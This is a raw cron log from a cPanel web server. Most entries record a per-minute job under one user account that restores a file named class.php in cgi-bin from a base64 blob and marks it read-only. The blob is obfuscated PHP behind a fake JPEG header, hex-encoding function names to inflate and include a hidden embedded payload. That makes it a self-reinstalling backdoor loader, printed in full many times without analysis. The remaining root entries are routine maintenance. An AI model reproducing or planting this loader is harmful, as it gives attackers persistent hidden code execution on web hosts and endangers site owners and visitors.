Nov 13 13:26:01 server CROND[21962]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:27:01 server CROND[22410]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:27:01 server CROND[22411]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 13:28:01 server CROND[23159]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:29:01 server CROND[24011]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:30:01 server CROND[24980]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:30:01 server CROND[24981]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 13:30:01 server CROND[24982]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 13:30:01 server CROND[24983]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 13:31:01 server CROND[25990]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:32:01 server CROND[26860]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:33:01 server CROND[27724]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:34:01 server CROND[28487]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:35:01 server CROND[29439]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 13:35:01 server CROND[29441]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 13:35:01 server CROND[29442]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 13:35:01 server CROND[29443]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 13:35:01 server CROND[29444]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:36:01 server CROND[30392]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:37:01 server CROND[31284]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:38:01 server CROND[31905]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:39:01 server CROND[32380]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
